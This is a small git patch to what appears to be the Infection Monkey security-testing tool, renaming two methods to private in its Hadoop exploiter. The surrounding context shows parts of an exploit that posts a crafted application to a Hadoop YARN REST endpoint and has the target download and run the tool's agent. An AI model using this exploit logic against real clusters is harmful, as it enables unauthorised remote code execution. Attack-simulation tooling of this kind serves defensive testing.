From 79ccabceb1ff16c87a5d88163a76b0394eaed3e3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 15:18:07 +0530 Subject: [PATCH] Agent: Make some functions private in the Hadoop exploiter --- monkey/infection_monkey/exploit/hadoop.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 59cab9021..8568c3ab9 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE): if not paths: return False http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self.build_command(paths["dest_path"], http_path) + command = self._build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): return False http_thread.join(self.DOWNLOAD_TIMEOUT) @@ -69,7 +69,7 @@ class HadoopExploiter(WebRCE): rand_name = ID_STRING + "".join( [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) - payload = self.build_payload(app_id, rand_name, command) + payload = self._build_payload(app_id, rand_name, command) resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) @@ -85,7 +85,7 @@ class HadoopExploiter(WebRCE): return False return resp.status_code == 200 - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if "linux" in self.host.os["type"]: @@ -101,7 +101,7 @@ class HadoopExploiter(WebRCE): } @staticmethod - def build_payload(app_id, name, command): + def _build_payload(app_id, name, command): payload = { "application-id": app_id, "application-name": name,